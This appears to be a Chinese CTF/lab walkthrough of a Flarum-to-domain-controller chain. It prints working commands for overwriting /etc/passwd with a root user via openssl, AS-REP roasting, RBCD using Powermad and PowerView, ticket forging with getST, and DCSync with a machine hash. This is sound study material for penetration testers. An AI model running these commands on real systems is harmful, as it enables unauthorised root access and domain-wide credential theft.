Skip to content

Flarum

image-20260307145652571

fscan扫出来80端口存活,给了个邮箱,疑似用户名,测试一下

image-20260307145806706

尝试爆破

遇见了一个问题,对面发包给的flarum_session和X-CSRF隔一段时间就会失效,而这个密码又不好爆破,需要很大的字典,所以后面就会失效,目前不知道咋解决,感觉得用Python脚本,yakit没这功能。(yakit其实有这功能

https://wiki.bafangwy.com/doc/851/文章中用的Xpath提取数据,我们因为是要提取请求头中的,所以将Xpath换成键值对,提取位置将raw换成请求头即可)

image-20260307154325465

暂时不管咋爆破,先进下一步,根据wp可知密码爆破出来是1chris

其实没进来前就可以发现对面是flarum框架,搜一下已存在的漏洞发现

从偶遇Flarum开始的RCE之旅 | 离别歌

阅读一下可知利用这个漏洞必须要有管理员权限,刚好已经获得了,其实这也可以是引导爆破密码的思路

image-20260307155053486

在后台找到这个功能,下面这个不行不知道为啥

image-20260307155453287

这个可以

image-20260307162517913

跟着文章复现一下,但是跟文章有点不一样,@import (inline)后面要用单引号包裹,并且在最后加上一个;不然会有语法错误,在写了第一个css文件后要等一会,感觉可能是写文件要一点时间,最好在成功访问/assets/forum.css后再写第二个css文件

image-20260307162435114

成功反弹

是web用户,权限很低,接下来进行提权

suid试了一下发现不行,晚点研究研究suid的原理

Linux提权之:利用capabilities提权 - f_carey - 博客园

用文章中的方法

image-20260307170635633

发现openssl可以利用

利用高权限覆盖/etc/passwd从而创建具有root权限的新用户

1
2
3
4
5
6
mkdir /tmp;cd /tmp
touch 1.txt
cat /etc/passwd > 1.txt
perl -e 'print crypt("123456", "ad"), "\n"'(输出adrla7IBSfTZQ,这就是123456哈希之后的值)
echo "test2:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >> 1.txt
cat 1.txt | openssl enc -out "/etc/passwd"

之后用su test2 就能成功切换成test2了

image-20260308160916914

当然如果说知道文件位置就不用添加新用户了

openssl enc -in “文件path”就能直接读

下次如果反弹shell了立马写马或者ssh,太难用了,这次写马半天连不上发现是校园网的问题,下次干这种就用热点吧

之后在内网用fscan扫,发现另外三台存活主机

image-20260308174733610

发现域控开了一个88端口,搜了一下88端口是用kerberos协议的。该协议用于网络身份验证和单点登录服务

在web服务目录下找到了config.php。里面有数据库账号和密码

image-20260308190220082

但是登陆的时候在蚁剑上老是有问题,反弹的终端又难用,不知道咋才能在终端上登mysql

shell连不上就换本地的navicat

image-20260309153632675

image-20260309153549354

注意因为要连Localhost,所以proxifier代理要把第一个规则给关了,给自定义的添上localhost

image-20260309153952240

但是我发现localhost就能连上,但是内网ip就不行

ai说是localhost走的是 FRP 的本地回环转发(或者 MySQL 的 Unix Socket),而 172.22.60.52 触发了 MySQL 的权限拒绝或绑定限制

将user表里面的用户名提取到user.txt中,用Impact的GetNpUsers爆破一下开启了 UF_DONT_REQUIRE_PREAUTH 属性的用户,这样就能绕过Kerbros身份验证

image-20260309163214133

找到两个不用kerberos验证的,wangyun和zhangxin

1
D:\Intranet\hashcat-7.1.2>hashcat -m 18200 D:\hash.txt D:\Intranet\hashcat-7.1.2\rockyou\1.txt

image-20260309164346412

成功爆破出来了wangyu的密码

蚁剑有时候curl下载工具下不好,反弹shell或者ssh登录后再下

用bloodhound跑一下

image-20260310144030111

我的bloodhound好像比别人的垃圾一点

image-20260310153017325

它只找得到到FILESERVER的路径,找不到FILESERVER到XIAORANG.LAB的路径,也就是说wp里面的Dcsync漏洞它找不到

这里可以看到zhangxin属于ACCOUNT OPERATORS组,ACCOUNT OPERATORS组拥有对除域控外的计算机对象的GenericAll权限,而且正常情况下bloodhound应该扫得出来Fileserver拥有Dcsync,与题目描述中所说黑客留下的域控制器后门相符。所以思路就是利用zhangxin给Fileserver配置RBDC,最后用Dscync拿下域控

扫一下之前发现的PC1

image-20260310155508100

有个3389,rdp登录

image-20260310155939426

有个xshell,但是我tm打不开啊,怎么处处跟wp说的不一样啊,网上搜的解决方法结果wangyun的权限不够,我看看能不能直接用wp的方法在不打开xshell的情况下弄出来

image-20260310162530574

可以可以,这工具牛逼,

成功拿到zhangxin密码

后面的全部都跟着wp无脑过了一遍了,接下来学习一下为什么要这么做

接下来打RBCD(Resource Based Constrained Delegation, 基于资源的约束委派)

参考这篇文章

域渗透之委派攻击全集-先知社区

什么是委派?即允许A将自己的权限赐给服务B,然后服务B用A的权限去访问服务C

RBCD与其他委派有什么区别?

在设置人上:其他委派需要域管理员去设置委派相关属性,但是RBCD只需要资源的管理员自己设置就行,谁是资源的管理员?即机器自身和将此机器加入域的域用户

在设置的地方上:其他的委派是在委派人上,即修改服务A的属性msDS-AlowedToDelegateTo为BDefinite的SPN,A就可以模仿任意用户像域控申请访问服务B的ST服务票据。RBCD则是相反的,是修改B的属性AllowedToActOnBehalfOfotherldentity为A的SID,从而A可以模仿任意用户访问B

msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户(也就是我们创建的机器账户或已知机器账户)

条件:

1.具有修改B属性的权限(如已经控制了主机WEB,则可以修改WEB的属性的权限账户)

2.可以创建机器账户的域用户(或已知机器账户)

票据是什么

RBCD就是允许一个主体(如test1$)代表一个用户(如administrator)向目标资源(如WEB计算机)请求服务

WEB 计算机设置 msds-allowedtoactonbehalfofotheridentity,相当于告诉域控制器(DC):“允许 test1$ 代表其他用户访问我(WEB)”

基于这个权限,让 test1$ 向 DC 申请一张 “冒充 administrator 访问 WEBcifs 服务” 的票据(ST),拿着这张票据就能直接访问 WEB 的文件共享(CIFS)等资源。

什么用户能修改机器账户上的属性:

1.将主机加入域的账户(账户中有一个mSDS-CreatorSID属性,用于标记加入域时使用的用户的SID值,反查就可以知道是谁把机器加入域的了)

2.Account Operator组成员

3.该主机的机器账户

利用方式1:基于资源的约束委派攻击本地提权(有将目标主机加入域的域用户权限)

如果获取到了many权限,则可以对是被many加入域的主机(假如名为WEB)进行RBCD攻击

1.利用many创建一个机器账户(每个域用户可以默认创建10个)

2.修改WEB的msDS-AllowedToActOnBehalfOfOtherIdentity为新创建机器账户的SID

3.利用机器账户申请票据进行提权

创建机器账户

利用Powermad.ps1

创建机器账户test1 密码123456

1
2
3
4
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\Powermad.ps1
New-MachineAccount -MachineAccount test1 -Password $(ConvertTo-SecureString "123456" -AsPlainText -Force)

利用powerView查询机器账户的sid(也可手动)

1
Get-NetComputer test1 -Properties objectsid

test1 sid:S-1-5-21-1400638014-602433399-2258725660-1148

设置委派,修改WEB的msds-allowedtoactonbehalfofotheridentity的值

利用PowerView.ps1

1
2
3
4
5
6
7
powershell
Set-ExecutionPolicy Bypass -Scope Process
import-module .\powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1400638014-602433399-2258725660-1148)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer WEB| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

然后生成票据

1
python3 getST.py -dc-ip 10.150.127.166 haishi.com/test1\$:123456 -spn cifs/WEB.haishi.com -impersonate administrator

导入票据(生成票据后会默认保存为administrator.ccache )

1
2
3
4
# 导入票据到环境变量
export KRB5CCNAME=administrator.ccache
#用票据访问WEB的cifs服务
python3 wmiexec.py WEB.haishi.com -no-pass -k -dc-ip 10.150.127.166

利用方式2:Account Operator组用户

如果获得Acount Operators组用户就可以获得域内除了域控的所有主机权限

Acount Operators组成员可以修改域内除了域控其他所有主机的msDS-AllowedToActOnBehalfOfOtherIdentity属性

步骤和利用方式1相同

还有方式3和4,具体就去看上面那篇域渗透之委派攻击全集

委派暂时告一段落,接下来继续分析题目

申请票据完了后就获取了FILESERVER的SYSTEM权限

直接获取flag就行

接下来打Dcsync

获取FILESERVER机器账户的哈希

1
proxychains python3 secretsdump.py -k -no-pass Fileserver.xiaorang.lab -dc-ip 172.22.60.8

image-20260311130010315

写下来用机器账户进行Dcsync

1
proxychains secretsdump.py xiaorang.lab/'Fileserver$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator

image-20260311130613859

获得域控哈希之后就可以PTH登录所有主机了

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.